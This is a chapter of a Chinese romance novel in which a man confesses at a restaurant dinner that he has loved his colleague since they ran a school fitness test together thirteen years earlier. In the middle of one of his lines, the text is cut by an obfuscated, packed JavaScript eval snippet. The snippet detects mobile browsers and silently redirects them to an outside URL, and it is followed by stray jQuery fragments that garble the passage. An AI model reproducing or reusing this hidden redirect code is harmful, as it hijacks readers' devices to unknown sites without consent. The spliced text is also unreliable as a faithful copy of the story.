烟花落幕，餐厅的灯光重新亮起，像潮水漫过梦幻沙滩，将方才的一点点带回现实。
暖黄的光晕洒在银质餐具上，折射出细碎而温柔的光点。空气中仍残留着烟火气的余韵，混合着餐桌上玫瑰与香薰蜡烛的淡香。
只有许知微，还没完全回过神。
她坐在丝绒座椅上，手指摩挲着冰凉的红酒杯脚，仿佛想从那一点凉意中寻找真实。
她的心跳在喧哗回流的背景下，显得格外规律。
一下，一下，又一下。
——程迦，喜欢自己？
——程迦，喜欢了自己十三年？
这个数字反复在她心里荡开一圈又一圈难以置信的涟漪。
她和程迦认识多久？
正式共事六年。
加上她匿名围观“走leetcode”直播那段，最多七年出头。
哪怕把每一丝模糊的时间边界都往宽了算，也绝不可能到十三年。
——十三年前，他俩有交集么？
——十三年前，她十五六岁。
——高一或高二。
——程迦刚过三十生日，那十三年前也才十七。
——更何况，他俩一个在中国，一个在美国。
——地域、轨迹、社交圈，完全不可能有交集。
——网恋？
——更不可能。
——高中那会儿，手机还是家长管控物品，平时除了刷题就是刷题，连□□空间都极少登录。
——所以……
——是他说错了？
——还是自己理解错了？
许知微的注意力终于回到了眼前。
当餐厅里最后为谢幕烟花的掌声落下，小提琴手重新开始演奏舒缓的夜曲，人群的低语与刀叉轻碰的脆响交织成温柔的背景音。
对面的程迦又恢复了他一贯的安静。暖光映在他的侧脸上，勾勒出深邃的轮廓。
——再，确认一下吧？
——实在是说不通啊。
所以她开口，语气带着一丝难以察觉的错愕，指尖在桌布上无意识地划出一道浅浅的褶皱。
“你刚才说的……”她顿了顿，声音也大了几分，“是喜欢我？”
正准备切肉的程迦，闻言立即点头，放下刀叉，抬眼，目光沉静地望过来，眸底映着烛光，像藏着星火的深海。
在对上她视线那一刻时，他的喉结轻轻滚了一下。
“喜欢了……十三年？”许知微的声音又高了几分，不可置信写满了眉头。
他再次点头。
这一次，比刚才更坚定，握着水杯的指节却微微泛白，透露出平静表象下的力道。
见状，许知微轻轻笑了一下，笑意也掩不住困惑，嘴角弯起又很快抿平。
“那你可能……”她语气很轻，却因为周遭的安静而显得格外清晰，“认错人了。”
她迎着他的目光，每个字都说得很清楚：
“十三年前，我在徐外中念书。”
“好好学习，天天刷题。”
“身边没有叫程迦的人，也从来没见过你。”
这几句话说出来，像是把时间轴摊开，一格一格对齐，逻辑严密，拼出拒绝两个字。
程迦却没有露出半分被否定的动摇。
他只是看着她，烛光在他眼中跳跃，像是在确认某个跨越漫长时光的坐标终于被准确定位。
然后他再次点点头：“嗯。”
许知微误以为他肯定了自己认错人的猜想，眉心微微一松，呼吸不自觉放轻了。
可程迦继续说下去，声音不高，却穿透了轻柔的音乐，直接落在她心尖：
“徐外中。”
“就是我认识你的地方。”
许知微彻底怔住。
她下意识皱眉，几乎是条件反射地开始检索记忆库。
——高一的教室。
——午后阳光里飞舞的粉尘。
——高二的走廊。
——雨后潮湿的空气。
——体育场褪色的旗帜。
——操场看台生锈的铁架。
——升旗台光滑的大理石。
——运动会喧闹的广播声。
——领奖台刺眼的聚光灯。
——篮球赛终场刺耳的哨音。
确认，自己没记错，没有这么一个人。
程迦没有急着解释，只是看着她的表情变化，像一位耐心的收藏家，等待她自己触碰到那个被岁月尘封的角落。
直到她眼底闪过一丝不满，他才开口，补上最后一段缺失的拼图。
“高一。”
“体测，八百米。”
“我当时，差点没跑完。”
他说得很平静，像是在陈述一段与自己无关的历史，只有搭在桌边的手，指节微微曲起，泄露了一丝紧绷。
“是你。”
“从第二圈开始，陪着我跑。”
“节奏、呼吸、配速，全是你在带。”
许知微怔得更深了。
——陪跑。
她确实做过这件事。
高一那年，因为她体能好，老师常常让她去陪一些跑不下来的同学。
她记得陪过很多人。
男生，女生。
模糊的轮廓。
有人气喘吁吁，有人边跑边骂，有人跑着跑着哭。
——但程迦这样的……
她看着眼前这个人。
他此刻坐在光影交错的餐厅里，西装革履，与记忆中红色塑胶跑道、汗水、喘息和青春期狼狈不堪的影像重叠，却产生一种奇异而令人心悸的错位感。
她努力去回忆。
——操场跑道蒸腾的热浪。
——夕阳将影子拉得很长。
——风穿过梧桐树叶的沙沙声。
——红色塑胶地刺鼻的气味。
——有人在她身侧踉跄，脚步沉重。
——想不起来有没有像程迦这样的人。
“……我当时是经常陪跑。”她诚实地说，眉头仍紧着，手指无声地捏住了餐巾一角，柔软的布料被攥出纠结的痕迹，“但我不记得你。”这句话说出口时，她心里竟然生出一丝微妙的愧疚。
程迦却并没有露出受伤的表情。
他只是轻轻“嗯”了一声。
“那天跑完之后，”他继续说，目光掠过她面前那支微微摇曳的烛火，“你转头就去陪下一个人了。”
“对你来说，应该是普通的一天。”
“对我来说，不是。”
许知微一愣，不知道怎么接话。
——这是情话么？
——他是故意说给我听的么？
——可就因为陪跑就喜欢自己十几年。
——太诡异了吧？
——可是……
——若真喜欢了自己十几年。
——自己这样想他，是不是又太傲慢了？
——要不要假装自己想起来了，应付两句？
——呃……这样会不会显得很虚伪？
纠结万分，最后说出口的，还是一个反问：“可你高中，不是跟苏清妍在美国念的么？”
“高一在国内，高二才被送出去了。”程迦低下头，一边切着盘中的肉，一边解释道，刀叉碰在瓷盘上，发出细微而清脆的声响，不知为何，却好似带着颤音。
“哦。”许知微也学着他的模样，把注意力放在了盘中肉上。
她故意切得很慢，仿佛那块肉值得她全部心神，才能压住心底翻涌的惊涛骇浪，以及脑海里涌现的不安与质疑。
烛光在她低垂的睫毛上投下小片扇形的阴影。
“所以这几年，我几乎天天都跟你见面，核对结果。”许知微一边切着，一边说得带着些玩笑的尾音，却不自觉地咬了咬下唇，那里传来细微的刺痛感，提醒她镇定，“你就没想过，告诉我这件事？”
程迦手中的刀叉微微一顿，银质的尖端在瓷盘上划过一道细响。
“想过。”他开口，声音比刚才低了些，“很多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380504|196129||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
次。”
他停顿了一下，似乎在斟酌字句。
“但你总说，人生目标是早日财富自由。”他复述的语气很平淡，“还说，恋爱只会影响你暴富的速度。”
许知微握着叉子的手指微微一紧。
——好吧。
——确实说过。
——还不止一次。
——当时觉得理所当然。
——向上司表明自己心无旁骛，一心扑在工作和钱途上。
——既是表忠心，也是省麻烦。
——谁会想到，听的那个人，心里装着跨越了十三年的心事？
一丝尴尬混合着难以言喻的微妙情绪爬上心头。
她下意识想反驳，想解释那不过是职场上的场面话，但话到嘴边，却变成了一句带着点埋怨，声音也不自觉低了下去的嘀咕：
“告诉一下……又不一定代表要谈恋爱。”
话音刚落的瞬间，她就察觉到了对面气氛的微妙变化。
程迦切肉的动作顿了一下，随即，那切割的力道似乎加重了些。
锋利的餐刀划过肉质纤维，发出比先前更清晰、也更用力的声响。
他没有抬头，浓密的睫毛垂着，原本在烛光下显得有些柔软的气氛，仿佛骤然被抽走了一些温度。
许知微心里咯噔一下。
——他是不是误会了？
——以为自己是在刻意划清界限。
——否定他那漫长的十三年？
看着他那明显低沉下去、连侧脸线条都似乎绷紧了几分的情绪，一种莫名的着急涌了上来。
于是，她清了清嗓子，声音稍微提高了些，目光却飘向旁边摇曳的烛火，假装是漫不经心的自言自语，语气里刻意掺进了一点玩笑的意味：
“我的意思是……早点告诉我，说不定哪天我突然空虚寂寞冷，想谈个恋爱了，还能……优先想起有个你呢。”
说完，她自己先有点脸热。
——这话怎么听都别扭？
可想找补，又无从下口。
但效果却是立竿见影的。
程迦切肉的动作，停了。
他缓缓抬起头，目光径直落在她脸上。
餐厅里悠扬的小提琴曲正好换了一章，音符流淌得舒缓而绵长。
就在许知微被他看得心跳加速，有些不好意思时，他开口了，声音带着不容错辨的认真和一丝不易察觉的迫切。
“现在告诉，”他说，目光紧紧锁着她，“还有机会么？”
许知微一愣，脑子有瞬间的空白。
——现在？
——什么意思？
——是接着她刚才那句优先想起的玩笑话往下说吗？
——啊？！
——他不会是误会自己在引导他提交往吧？
心慌意乱之下，她几乎是脱口而出：“我……我这刚被告知，信息量有点大，总需要点时间消化一下吧？”语气里带上了她自己都没意识到的求饶。
程迦却好像没接收到她需要缓缓的信号，依旧那样专注地看着她，甚至微微偏了下头，那神态，竟有点像平时在会议室里，向她确认项目方案时间节点时的样子。
冷静，专注，等待一个明确的答复。
他问：“给我个时间。”这几个字被他用那种惯常处理工作的语气问出来，落在许知微此刻兵荒马乱的心里，莫名显得很有压迫感。
她顿时更慌了，眼神飘忽，拿起手边的水杯喝了一口，冰凉的液体滑过喉咙，却没能压下脸上的热度。
她避开他的视线，几乎是有些仓促地带着点命令口吻说道：
“先……先吃饭！菜都要凉了。”
说完，自己都觉得这转移话题的方式生硬得可以，要是她在办公室拿这种方式缓解来自程迦的压迫，肯定会反问为什么。
但程迦的反应却再次出乎她的意料。
他只是定定地看了她两秒，那目光深邃，然后极轻地点了一下头。
“好。”
“我听话。”